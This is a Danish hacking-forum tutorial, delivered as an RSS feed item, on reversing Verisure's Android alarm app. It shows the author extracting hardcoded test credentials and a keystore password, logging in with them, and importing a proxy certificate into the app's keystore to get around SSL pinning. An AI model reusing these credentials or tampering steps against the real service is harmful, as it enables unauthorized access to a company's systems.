<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
	<channel>
		<title><![CDATA[Shellsec - Vejledninger]]></title>
		<link>https://www.shellsec.pw/</link>
		<description><![CDATA[Shellsec - https://www.shellsec.pw]]></description>
		<pubDate>Mon, 06 Apr 2026 02:25:25 +0000</pubDate>
		<generator>MyBB</generator>
		<item>
			<title><![CDATA[Android Decompiling/Reversing]]></title>
			<link>https://www.shellsec.pw/traad-android-decompiling-reversing</link>
			<pubDate>Fri, 11 Jul 2014 19:38:02 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-android-decompiling-reversing</guid>
			<description><![CDATA[<span style="font-size: xx-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Introduktion til Android Hacking</span></span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size">I denne korte introduktion til Android hacking kigger vi på den basale opsætning til at få lidt mere styr på hvordan vi decompiler Android applikationer, <br />
samt hvordan vi igennem en proxy kan opfange oplysninger om, hvad data applikationen sender videre til dennes tilknyttede backend server.</span><br />
<br />
<br />
<br />
<span style="color: #006400;" class="mycode_color"><span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Krav</span></span></span><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Android SDK + Eclipse ADT</span> (Eclipse + Android Development Tool(kit) er kun hvis du ønsker at køre en emulator i stedet for en fysisk enhed, <br />
samt hvis du ønsker at dykke lidt længere ned i Android programmering samt patching/cracking)<br />
<a href="http://developer.android.com/sdk/index.html" target="_blank" rel="noopener" class="mycode_url">http://developer.android.com/sdk/index.html</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Java JDK &amp; JRE</span> (JDK er den vigtige her, men JRE er brugbar til visse opgaver)<br />
<a href="http://www.oracle.com/technetwork/java/javase/downloads/index.html" target="_blank" rel="noopener" class="mycode_url">http://www.oracle.com/technetwork/java/j...index.html</a> <br />
<br />
<span style="font-weight: bold;" class="mycode_b">Charles Proxy</span> (Kan være hvilket som helst proxy tool du har erfaring med)<br />
<a href="http://www.charlesproxy.com/" target="_blank" rel="noopener" class="mycode_url">http://www.charlesproxy.com/</a> <br />
<br />
<span style="font-weight: bold;" class="mycode_b">APKTool </span>(Skal bruges til at decompile + recompile (Smali - Baksmali) dine APK filer)<br />
<a href="https://mega.co.nz/#!10UHnAxC!zLg6ucEf430O7KFXb4GluaL0ZidAbCVfOYVOkd9rHy0" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!10UHnAxC!zLg6ucEf43...YVOkd9rHy0</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">SignAPK</span> (Eller jarsigner - Skal bruges til at signe APK filerne, så de kan installeres på Android styresystemet. <br />
Langt de fleste enheder vil ikke installere applikationer Uden denne hersens underskift)<br />
<a href="https://mega.co.nz/#!ZklzhYhZ!g0ZcCd1eprlV6yGsyt4djqZEQRIeJHv5-At1nTWyJ7g" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!ZklzhYhZ!g0ZcCd1epr...At1nTWyJ7g</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Dex2Jar</span> (Konverterer .DEX filen der er pakket ind i .APK filen til .JAR.<br />
<a href="https://mega.co.nz/#!Jh0AkayZ!hzmJx-gRpfBlycMGNNlN-fIvr5WqumUMgMylPdap-zA" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!Jh0AkayZ!hzmJx-gRpf...MylPdap-zA</a><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jd_Gui</span> (Giver dig en pæn brugerflade til at læse .JAR filerne fra Dex2Jar)<br />
<a href="http://jd.benow.ca/" target="_blank" rel="noopener" class="mycode_url">http://jd.benow.ca/</a><br />
<br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Så Hvad Er En APK-Fil?</span></span><br />
En APK er sådan set bare et pakkeformat ligesom RAR og ZIP. Du kan endda omdøbe din .APK til .ZIP og herved åbne og udpakke indholdet.<br />
APK-formatet er bare hvad Google har valgt at kalde deres applikationers filtype, sådan at Android styresystemet kan genkende det.<br />
<br />
Det er disse filer du downloader og installerer, når du henter en app i Google Play eller andre tredjeparts app butikker.<br />
Hvis du har en Rooted Android enhed, kan disse filer kopieres som "backups" og smides over på computeren via ADB, Email, Dropbox osv.<br />
<br />
Desuden kan du bruge online downloaders såsom <a href="http://download.freeapk.ru/en" target="_blank" rel="noopener" class="mycode_url">http://download.freeapk.ru/en</a> eller <a href="http://apkleecher.com/" target="_blank" rel="noopener" class="mycode_url">http://apkleecher.com/</a> til at hente filerne ned til nærmere undersøgelser.<br />
Pas dog på med det, da mange af disse downloaders først lige smider spyware eller reklamer ind før gør dit download-link klar.<br />
<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Mappestruktur</span></span><br />
Lad os for en god ordens skyld lave en mappe på skrivebordet der hedder Android<br />
Inde i den mappe udpakker vi følgende filer til deres egne mapper:<br />
<span style="font-weight: bold;" class="mycode_b">Desktop/Android/APKTool<br />
Desktop/Android/SignAPK<br />
Desktop/Android/Dex2Jar<br />
Desktop/Android/Jd_Gui.exe</span> (Ingen mappe, så bare smid i den i Android mappens rod)<br />
<br />
<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Opsætning af Emulatoren</span></span><br />
For at gøre det så let som muligt bruger vi Eclipse til åbne AVD (Android Virtual Device Manager).<br />
Sørg for at Android SDK er installeret, samt at Eclipse er udpakket (Det er lige meget hvor).<br />
1) Åbn Eclipse &gt; Window &gt; Preferences &gt; Android og tjek om 'SDK location' passer til hvor du installerede/udpakkede Android SDK og tryk OK.<br />
<br />
2) Gå til Window &gt; Android SDK Manager Og installer alle de pakker den selv foreslår (Samt tjek at du har mindst én af de nyeste platforme - Android 4.3 osv - installeret - Dette kræver til tider Administrator rettigheder)<br />
<img src="http://i.imgur.com/A42QCoU.png" alt="[Billede: A42QCoU.png]" class="mycode_img" /><br />
<br />
3) Gå til Window &gt; Android Virtual Device Manager &gt; Tryk på 'Create' og udfyld indstillingerne.<br />
Disse indstillinger er ikke så vigtige lige nu, og kan hele tiden ændres. Har selv mange forskellige, men her er et eksempel:<br />
Det kan være en fordel at hente Google API's i SDK Manager'en, da flere applikationer ellers vil fejle installationen grundet en 'manglende delt pakke'.<br />
<br />
<br />
Tryk <span style="font-weight: bold;" class="mycode_b">OK</span> &gt; Og start så emulatoren.<br />
<br />
<span style="color: #FF6347;" class="mycode_color">!! Der kan opstå tilfælde hvor vores ADT plugin ikke er installeret korrekt, i disse tilfælde gør følgende:<br />
Gå til Help &gt; Install New Software &gt;<br />
Tryk på Add &gt;<br />
Giv den et navn (ADT Plugin) &gt;<br />
Angiv en URL til plugin-filerne &gt; <a href="https://dl-ssl.google.com/android/eclipse/" target="_blank" rel="noopener" class="mycode_url">https://dl-ssl.google.com/android/eclipse/</a><br />
Og installer så Android Development Tools. Dette kan igen til tider kræve administrator rettigheder.</span><br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Installation af Applikationer til Emulatoren</span></span><br />
Sørg for, at du har emulatoren åben og kørende.<br />
Åbn CMD/Kommandovinduet og CD til mappen mappen hvor du installerede Android SD/platform-tools.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">C:\Windows\System32&gt; cd C:\sdk\platform-tools<br />
ELLER gå til Android SDK mappen, Hold Shift-knappen nede og højreklik på platform-tools &gt; "Åbn kommandovindue her".</span><br />
I denne mappe gemmer adb.exe sig, og det er dette lille fikse program vi vil bruge til at installere applikationer og køre aktiviteter/services.<br />
<br />
Som et eksempel vil jeg bruge <span style="font-weight: bold;" class="mycode_b">Verisure</span>'s fjernstyrrings app til tyverisikring/overvægning. <br />
Hvis vi går til <a href="https://play.google.com" target="_blank" rel="noopener" class="mycode_url">https://play.google.com</a> og søger efter denne applikation.<br />
( <a href="https://play.google.com/store/apps/details?id" target="_blank" rel="noopener" class="mycode_url">https://play.google.com/store/apps/details?id</a>=<span style="font-weight: bold;" class="mycode_b">com.sdi.mobile.android.verisure</span> )<br />
kan vi se i adressebaren, at pakkenavnet er: 'com.sdi.mobile.android.verisure'<br />
Her kan vi så gå videre til <a href="http://download.freeapk.ru" target="_blank" rel="noopener" class="mycode_url">http://download.freeapk.ru</a> og skrive pakkenavnet/adressen og downloade .APK-filen hurtigt og uden problemer, i stedet for at hente den ned på vores enhed, installere, tage backup og overføre filen til vores computer. <br />
<span style="font-weight: bold;" class="mycode_b">Gem .apk-filen Android mappen.</span> <br />
<br />
For at installere denne app skriver vi blot <blockquote class="mycode_quote"><cite>Citer:</cite>adb install &lt;stien til .apk-filen&gt;</blockquote>
 (Du kan skrive <span style="font-style: italic;" class="mycode_i">adb install og herefter bare trække filen ind i kommandovinduet</span> for automatisk at udfylde stien til filen.<br />
Dette bliver således til: <br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\sdk\platform-tools&gt;adb install C:\Users\MXI\Desktop\Android\verisure.apk<br />
1112 KB/s (7109188 bytes in 6.240s)<br />
        pkg: /data/local/tmp/bas.apk<br />
Success</blockquote>
<br />
Nu er applikationen så installeret på emulatoren, og kan findes inde i Apps menuen.<br />
<br />
<br />
!! I tilfælde af at adb ikke kan finde din emulator enhed kan det til tider hjælpe at forwarde: <blockquote class="mycode_quote"><cite>Citer:</cite>'C:\sdk\platform-tools&gt;adb -d forward tcp:5601 tcp:5601'</blockquote>
!! Prøv herefter at skrive <blockquote class="mycode_quote"><cite>Citer:</cite>'C:\sdk\platform-tools&gt;adb devices'</blockquote>
 for at se om den har registreret din enhed.<br />
<br />
<br />
<span style="font-size: x-large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Opsætning af Charles Proxy</span></span><br />
Installér Charles Proxy (Dette er kun en trial, så den låser op nogle sekunder engang imellem, og kan kun køre i 30 minutter før det lukker ned. Kan dog åbnes igen med det samme)<br />
<img src="http://i.imgur.com/D8PD7X8.png" alt="[Billede: D8PD7X8.png]" class="mycode_img" /><br />
<br />
Gå til <span style="font-weight: bold;" class="mycode_b">Proxy &gt; Proxy Settings</span> og tjek <span style="font-weight: bold;" class="mycode_b">portnummeret</span> (Højst sansynligt <span style="font-weight: bold;" class="mycode_b">8888</span>)<br />
<span style="font-weight: bold;" class="mycode_b">Under fanen </span><span style="font-weight: bold;" class="mycode_b">Proxies</span> skal du lige tjekke om der er flueben i '<span style="font-weight: bold;" class="mycode_b">Enable transparent HTTP proxying</span>'.<br />
<span style="font-weight: bold;" class="mycode_b">Under fanen SSL</span> skal du lige tjekke om der er flueben i '<span style="font-weight: bold;" class="mycode_b">Enable SSL proxying</span>'.<br />
Hvis den her kræver en opsætning under 'locations', så tryk add og OK med tomme værdier. <br />
<br />
Find din netværks-IP (Ikke din eksterne IP, men din interne IP routeren bruger til at finde dig på netværket)<br />
<br />
Dette kan gøres på flere forskellige måder, men den letteste er IMO at skrive ipconfig i kommandovinduet, og kigge under IPv4:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Windows\System32&gt;ipconfig</blockquote>
<br />
<img src="http://i.imgur.com/VhnPy83.png" alt="[Billede: VhnPy83.png]" class="mycode_img" /><br />
<br />
<span style="font-weight: bold;" class="mycode_b">Lad os vende tilbage til Android emulatoren for at opsætte Charles.</span><br />
<br />
Først hopper vi lige ind i Androids browser nede i højre hjørne (Blå planet-tingy).<br />
<img src="http://i.imgur.com/lb7fni8.png" alt="[Billede: lb7fni8.png]" class="mycode_img" /><br />
<br />
 Gå til <a href="http://charlesproxy.com/charles.crt" target="_blank" rel="noopener" class="mycode_url">http://charlesproxy.com/charles.crt</a> &gt; Giv certifikatet et navn og tryk OK for at installere det. (Dette skal bruges til at opsnappe SSL trafik)<br />
<img src="http://i.imgur.com/DgOAld9.png" alt="[Billede: DgOAld9.png]" class="mycode_img" /><br />
<br />
Der er forskelle i brugerfladen på forskellige Android versioner, men i min (4.4.2) er det således:<br />
Gå til Settings (Tryk på Menu knappen, eller find den inde i Apps menuen)<br />
Under Wireless &amp; Networks tryk på More...<br />
Tryk på Mobile Networks &gt; Access Point Names<br />
Tryk på den APN der allerede er i brug (T-Mobile US hos mig)<br />
Tryk på Proxy, og indsæt den IP vi fandt før (192.168.1.105)<br />
Tryk på Port og indsæt porten fra Charles (8888)<br />
Disse indstillinger vil muligvis kræve et kodeord (Dette kodeord/PIN vil også blive krævet til at logge ind næste gang du starter emulatoren, så ingen grund til at gå i panik hvis den lige pludselig kræver Pinkode næste gang)<br />
I øverst højre hjørne - Udfra 'Edit access point' er der 3 vertikale firkanter, tryk på disse og vælg 'Save'<br />
<img src="http://i.imgur.com/Xe2wG77.png" alt="[Billede: Xe2wG77.png]" class="mycode_img" /><br />
<br />
Nu vil netværksaktiviteten fra din Android emulator automatisk blive kørt igennem Charles - Det samme vil din browseraktivitet i Windows dog også - For at undgå dette kan du trykke på <span style="font-weight: bold;" class="mycode_b">Proxy</span> &gt; Og <span style="font-weight: bold;" class="mycode_b">fjerne fluebenet</span> i <span style="font-weight: bold;" class="mycode_b">'Windows Proxy'</span>.<br />
<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="font-size: x-large;" class="mycode_size">Decompile Android Applikationer</span></span><br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ved Hjælp af APKTool</span></span><br />
<br />
Åbn et kommandovindue i APKTool mappen (cd C:/... eller højreklik &gt; Åbn ko..) og skriv følgende:<br />
<br />
apktool d(står for decompile) &lt;apkfilen&gt; &lt;mappenavn på de decompilede smali filer&gt;<br />
<br />
Altså noget i stil med dette:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;apktool d C:\Users\MXI\Desktop\android\verisure.apk verisuredecom<br />
I: Baksmaling...<br />
I: Loading resource table.<br />
I: Loaded.<br />
I: Loading resource table from<br />
I: Loaded.<br />
I: Decoding file-resources...<br />
I: Decoding values*/* XMLs...<br />
I: Done.<br />
I: Copying assets and libs...</blockquote>
<br />
Nu har vi så de decompilede .smali filer i '<span style="font-weight: bold;" class="mycode_b">verisuredecom</span>' mappen, som kan ændres/pacthes/crackes og recompiles.<br />
At patche diverse dele af koden er ikke noget jeg synes vi skal begive os ud i, da dette kun er en simpel introduktion <br />
(Og smali er pænt svært at forstå hvis man bare lige hopper ud i det - det er simpelthen alt for let at ødelægge det bare ved at fjerne en enkelt funktion/variabel, og glemme at starten af funktionen så smali er klar over der er den satan mindre)<br />
<br />
Lad os i stedet tage et kig på '<span style="font-weight: bold;" class="mycode_b">AndroidManifest.xml</span>' filen som er i roden af '<span style="font-weight: bold;" class="mycode_b">verisuredecom</span>' mappen. <span style="font-weight: bold;" class="mycode_b">Denne fil er det berygtede manifest, der indeholder oplysninger om f. eks. <span style="font-style: italic;" class="mycode_i">pakkenavn, egenskaber, version, aktiviteter, services, tilladelser, broadcast receivers, intents osv</span>.</span><br />
Manifestet giver næsten sig selv, og efter 10 minutters nærstudering + google vil det meste give mening. Hvad vi er interesserede i her, er hvilke services, intents og aktiviteter(activities) der er angivede.<br />
I dette eksempel er der ikke nogle services eller intents der ser ud til at kunne hjælpe os, men der er nogle spændende aktiviteter. Den aktivitet mine øjne først sprænger på er denne:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>&lt;activity android:name=".DeveloperActivity" /&gt;</blockquote>
. Uha. Der er altid en mulighed for, at classes/aktiviteter med navne som <span style="font-weight: bold;" class="mycode_b">dev/developer/programmer/coder</span> kan indeholde noget spændende.<br />
<span style="font-weight: bold;" class="mycode_b">DeveloperActivity.smali</span> er placeret i <span style="font-weight: bold;" class="mycode_b">.</span><span style="font-weight: bold;" class="mycode_b">.\verisuredecom\smali\com\sdi\mobile\android\verisure</span> - Men igen er smali altså for viderekomne, og passer dårligt ind i en intro.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Lad os istedet prøve noget andet. Vi kan bruge adb shell's am kommando(activity mamager) til at starte aktiviteter</span><br />
<br />
Lad os prøve at åbne det kommandovindue vi brugte til at installere applikationen med (<span style="font-weight: bold;" class="mycode_b">Android SDK/platform-tools</span>)<br />
I dette kommandovindue skriver vi først <span style="font-weight: bold;" class="mycode_b">adb shell</span><br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">C:\sdk\platform-tools&gt;adb shell<br />
root@generic:/ #</span></blockquote>
<br />
Herefter skriver vi <span style="font-weight: bold;" class="mycode_b">am start &lt;<span style="font-style: italic;" class="mycode_i">pakkenavn</span>&gt;/.&lt;<span style="font-style: italic;" class="mycode_i">aktivitet</span>&gt;</span><br />
<span style="font-weight: bold;" class="mycode_b"><blockquote class="mycode_quote"><cite>Citer:</cite>root@generic:/ # am start com.sdi.mobile.android.verisure/.DeveloperActivity</blockquote>
</span><br />
<br />
<img src="http://i.imgur.com/yN2NpSp.png" alt="[Billede: yN2NpSp.png]" class="mycode_img" /><br />
<br />
Og boom. Vi har started en aktivitet direkte fra kommandovinduet/konsollen. Dette kan bruges til forskellige ting, f. eks. gemte menuer og aktiviteter der glemmer at tjekke om brugeren er logget ind, og herved lækker information der kun burde være forebeholdt autoriserede brugere. <br />
<br />
<span style="font-weight: bold;" class="mycode_b">OBS! For at komme tilbage fra vores shell kan vi trykke CTRL+C</span><br />
<span style="color: #FF6347;" class="mycode_color">!! Hvis du her får en fejlmeddelse i stil med følgende:<br />
!!error: protocol fault (no status)<br />
!!Så skriv &gt;adb kill-server<br />
!!efterfulgt af &gt;adb start-server</span><br />
<br />
<br />
<br />
<span style="font-size: large;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Ved Hjælp af Dex2Jar</span></span><br />
<br />
Åbn et kommandovindue i dex2jar mappen (<span style="font-weight: bold;" class="mycode_b">cd C:/... eller højreklik &gt; Åbn ko..</span>) og skriv følgende:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>C:\Users\MXI\Desktop\Android\&gt;d2j-dex2jar C:\Users\MXI\Desktop\android\verisure.apk</blockquote>
<br />
Dette vil decompile Androids <span style="font-weight: bold;" class="mycode_b">.DEX dalvik byte code</span> til <span style="font-weight: bold;" class="mycode_b">Java</span>, og være noget lettere at forstå. <span style="font-weight: bold;" class="mycode_b">verisure-dex2jar.jar</span> filen kan nu åbnes i <span style="font-weight: bold;" class="mycode_b">jd-gui.exe</span>.<br />
<span style="font-style: italic;" class="mycode_i">Du kan dog ikke ændre i koden og gemme det, men i stedet bruge koden til at få oplysninger om applikationens indhold, samt mulige hulder i programmeringen.</span><br />
<br />
Efter en lille gennemgang af den decompilede kode finder vi igen den spændende klasse med navnet <span style="font-weight: bold;" class="mycode_b">DeveloperActivity</span>, som ovenikøbet indeholder følgende <span style="font-weight: bold;" class="mycode_b"><span style="color: #FF4500;" class="mycode_color">hardcoded credentials</span></span>:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite>    <br />
     <span style="font-weight: bold;" class="mycode_b">dd.a(this, "[b]mm-test1@verisure.com</span>", "<span style="font-weight: bold;" class="mycode_b">asdf1234</span>");[/b]<br />
  </blockquote>
<br />
<span style="color: #32CD32;" class="mycode_color">Skulle vi prøve at se om de virker?</span> <span style="color: #FFDAB9;" class="mycode_color">Sørg for Ikke at køre Charles når du forsøger dette.</span><br />
<br />
<img src="http://i.imgur.com/zAhAd3E.png" alt="[Billede: zAhAd3E.png]" class="mycode_img" /><br />
<br />
<span style="color: #4682B4;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">Sørme jo</span>. Der er ikke meget at komme efter her, men det er da en vej ind for at få lidt bedre viden om hvordan applikationen virker.</span><br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #FF6347;" class="mycode_color">Hvis vi på nuværende tidspunkt har Charles åben vil vi få en fejl, da verisure bruger en form for SSL Pinning, der gør at forbindelsen bliver nægtet hvis ikke SSL certifikatet er ens hos både klienten(android) og serveren(I dette tilfælde Charles, som herefter videregiver trafikken).</span></span>   <br />
<br />
<img src="http://i.imgur.com/FpsH220.png" alt="[Billede: FpsH220.png]" class="mycode_img" /><br />
<br />
<br />
Igen ville det være lidt overkill at begynde at fjerne dette tjek eller bytte deres http klient ud med vores egen. Men måske engang i fremtiden. ;)<br />
<br />
( Hvis det alligevel skulle have interesse er der her to gode artikler om emnet: <a href="http://www.mcafee.com/us/resources/white-papers/wp-defeating-ssl-cert-validation.pdf" target="_blank" rel="noopener" class="mycode_url">http://www.mcafee.com/us/resources/white...dation.pdf</a><br />
<a href="http://www.exploit-db.com/wp-content/themes/exploit/docs/33430.pdf" target="_blank" rel="noopener" class="mycode_url">http://www.exploit-db.com/wp-content/the.../33430.pdf</a> )<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">Jeg vil dog alligevel lige vise en lille sjov ting jeg fandt i denne applikation, som også vil give anledning til at recompile.</span><br />
<br />
Ved at kigge på klassen <span style="font-weight: bold;" class="mycode_b">\com\sdi\mobile\android\util\http\httpservice.smali</span>, der hjælper med forbindelsen til backend-serveren, finder vi følgende:<br />
<br />
<span style="font-size: medium;" class="mycode_size"><span style="font-weight: bold;" class="mycode_b">Java:</span></span><br />
<blockquote class="mycode_quote"><cite>Citer:</cite> private static void b(Context paramContext)<br />
  {<br />
    b = new a(new ByteArrayInputStream(a(paramContext.getResources().openRawResource(2131099649))), "mysecret");<br />
    d = c(paramContext);<br />
  }</blockquote>
<br />
<br />
<span style="font-size: medium;" class="mycode_size">Smali:</span><br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>new-instance v1, Ljava/io/ByteArrayInputStream;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;invoke-direct {v1, v0}, Ljava/io/ByteArrayInputStream;-&gt;&lt;init&gt;([B)V<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;.line 74<br />
&nbsp;&nbsp;&nbsp;&nbsp;new-instance v0, Lcom/sdi/mobile/android/util/http/a;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;const-string v2, "mysecret"<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;invoke-direct {v0, v1, v2}, Lcom/sdi/mobile/android/util/http/a;-&gt;&lt;init&gt;(Ljava/io/InputStream;Ljava/lang/String;)V<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;sput-object v0, Lcom/sdi/mobile/android/util/http/HttpService;-&gt;b:Lcom/sdi/mobile/android/util/http/a;</code></div></div><br />
Vi har altså her at gøre med en <span style="font-weight: bold;" class="mycode_b">string</span> der bruges i samarbejde med en <span style="font-weight: bold;" class="mycode_b">ressource(RAW)</span> der smides ind i en<span style="font-weight: bold;" class="mycode_b"> inputstream</span>. Hmm..<br />
Lad os tage et kig på vores <span style="font-weight: bold;" class="mycode_b">ressourcer</span> (Den blev loaded fra <span style="font-weight: bold;" class="mycode_b">RAW</span>). Under <span style="font-weight: bold;" class="mycode_b">\verisuredecom\res\raw</span> finder vi sørme en fil med navnet <span style="font-weight: bold;" class="mycode_b">mykeystore.bks</span>, som er en filtype der bruges til at importere certificater fra <span style="font-weight: bold;" class="mycode_b">BouncyCastle</span>.<br />
<span style="color: #FF6347;" class="mycode_color">Kan det virkelig passe de bare har hardcoded deres key/password? altså....</span><br />
<br />
Vi skal altså bruge <span style="font-weight: bold;" class="mycode_b">BouncyCastle</span> til at optette et certifikat i stil med det vi fandt i raw mappen.<br />
<a href="http://www.bouncycastle.org/" target="_blank" rel="noopener" class="mycode_url">http://www.bouncycastle.org/</a> - <span style="font-weight: bold;" class="mycode_b">Et velkendt krypterings-library</span>.<br />
Jeg har her valgt at bruge '<span style="font-weight: bold;" class="mycode_b">bcprov-jdk15on-146.jar</span>' til denne opgave.<br />
<br />
Til dette skal vi bruge '<span style="font-weight: bold;" class="mycode_b">keytool</span>', som befinder sig i <span style="font-weight: bold;" class="mycode_b">JDK's Bin</span> mappe:<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">'C:\Program Files\Java\jdk1.7.0_51\bin'</span></blockquote>
Åbn en konsol i denne mappe, og indtast følgende for at lave en ny <span style="font-weight: bold;" class="mycode_b">BouncyCastle .bks keystore</span> fil:<br />
<br />
<blockquote class="mycode_quote"><cite>Citer:</cite><span style="font-weight: bold;" class="mycode_b">keytool -importcert -v -trustcacerts -file &lt;certifikatet&gt; -alias sslshit -keystore &lt;keystore-filen der skal eksporteres til&gt; -provider org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath &lt;BouncyCastle's Jar library&gt; -storetype BKS -storepass &lt;Kodeord&gt;</span></blockquote>
<br />
<span style="font-weight: bold;" class="mycode_b"><div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>C:&#92;Program Files&#92;Java&#92;jdk1.7.0_51&#92;bin&gt;keytool -importcert -v -trustcacerts -fil<br />
 "C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;charles.crt" -alias sslshit -keystore "C:&#92;Users&#92;MXI&#92;Desktop&#92;apk&#92;verisuredecom&#92;res&#92;raw&#92;mykeystore.bks" -provider org.bouncycastle.j<br />
e.provider.BouncyCastleProvider -providerpath "C:&#92;MXI&#92;MXI&#92;Desktop&#92;apk&#92;bcprov<br />
jdk15on-146.jar" -storetype BKS -storepass mysecret<br />
Owner: C=NZ, ST=Auckland, L=Auckland, O=XK72 Ltd, OU=http://charlesproxy.com/ss<br />
, CN=Charles Proxy SSL Proxying<br />
Issuer: C=NZ, ST=Auckland, L=Auckland, O=XK72 Ltd, OU=http://charlesproxy.com/s<br />
l, CN=Charles Proxy SSL Proxying<br />
Serial number: 1<br />
Valid from: Sun Dec 31 13:00:00 CET 1899 until: Fri Sep 24 05:19:05 CEST 2038<br />
Certificate fingerprints:<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MD5:&nbsp;&nbsp;D5:E8:27:14:9B:A1:5E:AC:85:02:B5:93:93:6D:9A:83<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SHA1: 18:9B:6E:28:D1:63:5F:3A:83:25:E1:E0:02:18:0D:BA:2C:02:C2:41<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SHA256: C6:A5:94:B2:53:0F:EF:2E:AE:85:1B:91:62:CD:CD:42:EB:B1:BE:A5:E2<br />
6B:A3:1F:81:6C:03:22:40:33:30:9E<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Signature algorithm name: SHA1withRSA<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Version: 3<br />
<br />
Extensions:<br />
<br />
#1: ObjectId: 2.16.840.1.113730.1.13 Criticality=false<br />
0000: 13 68 53 53 4C 20 50 72&nbsp;&nbsp; 6F 78 79 69 6E 67 20 69&nbsp;&nbsp;.hSSL Proxying i<br />
0010: 73 20 65 6E 61 62 6C 65&nbsp;&nbsp; 64 20 69 6E 20 43 68 61&nbsp;&nbsp;s enabled in Cha<br />
0020: 72 6C 65 73 20 50 72 6F&nbsp;&nbsp; 78 79 2E 20 50 6C 65 61&nbsp;&nbsp;rles Proxy. Plea<br />
0030: 73 65 20 76 69 73 69 74&nbsp;&nbsp; 20 68 74 74 70 3A 2F 2F&nbsp;&nbsp;se visit http://<br />
0040: 63 68 61 72 6C 65 73 70&nbsp;&nbsp; 72 6F 78 79 2E 63 6F 6D&nbsp;&nbsp;charlesproxy.com<br />
0050: 2F 73 73 6C 20 66 6F 72&nbsp;&nbsp; 20 6D 6F 72 65 20 69 6E&nbsp;&nbsp;/ssl for more in<br />
0060: 66 6F 72 6D 61 74 69 6F&nbsp;&nbsp; 6E 2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;formation.<br />
<br />
<br />
#2: ObjectId: 2.5.29.19 Criticality=true<br />
BasicConstraints:[<br />
&nbsp;&nbsp;CA:true<br />
&nbsp;&nbsp;PathLen:2147483647<br />
]<br />
<br />
#3: ObjectId: 2.5.29.15 Criticality=true<br />
KeyUsage [<br />
&nbsp;&nbsp;Key_CertSign<br />
]<br />
<br />
#4: ObjectId: 2.5.29.14 Criticality=false<br />
SubjectKeyIdentifier [<br />
KeyIdentifier [<br />
0000: BB 27 F4 CB 2E B6 DB B0&nbsp;&nbsp; 58 10 1B BD 80 3F 38 D2&nbsp;&nbsp;.'......X....?8.<br />
0010: 08 D7 61 29&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;..a)<br />
]<br />
]<br />
<br />
Trust this certificate? [no]:&nbsp;&nbsp;yes<br />
Certificate was added to keystore<br />
